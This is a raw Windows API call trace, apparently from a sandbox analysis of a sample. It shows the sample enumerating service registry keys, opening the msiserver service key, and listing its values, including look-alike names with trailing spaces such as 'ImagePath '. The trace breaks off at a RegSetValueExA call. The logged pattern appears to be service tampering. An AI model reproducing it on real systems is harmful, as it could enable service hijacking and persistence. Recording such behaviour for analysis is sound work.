[0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0210.070] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0210.071] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0210.072] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0210.073] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0210.074] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0210.075] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0210.076] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0210.077] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0210.078] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0210.079] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0210.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0210.079] RegCloseKey (hKey=0xc4) returned 0x0 [0210.079] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0210.079] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0210.080] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0210.080] RegCloseKey (hKey=0x80000002) returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0210.080] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.080] RegCloseKey (hKey=0x14c) returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0210.080] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0210.081] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0210.081] RegCloseKey (hKey=0xc4) returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0210.081] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0210.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0210.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.086] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.087] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0210.087] RegSetValueExA (in: hKey=0xc4, 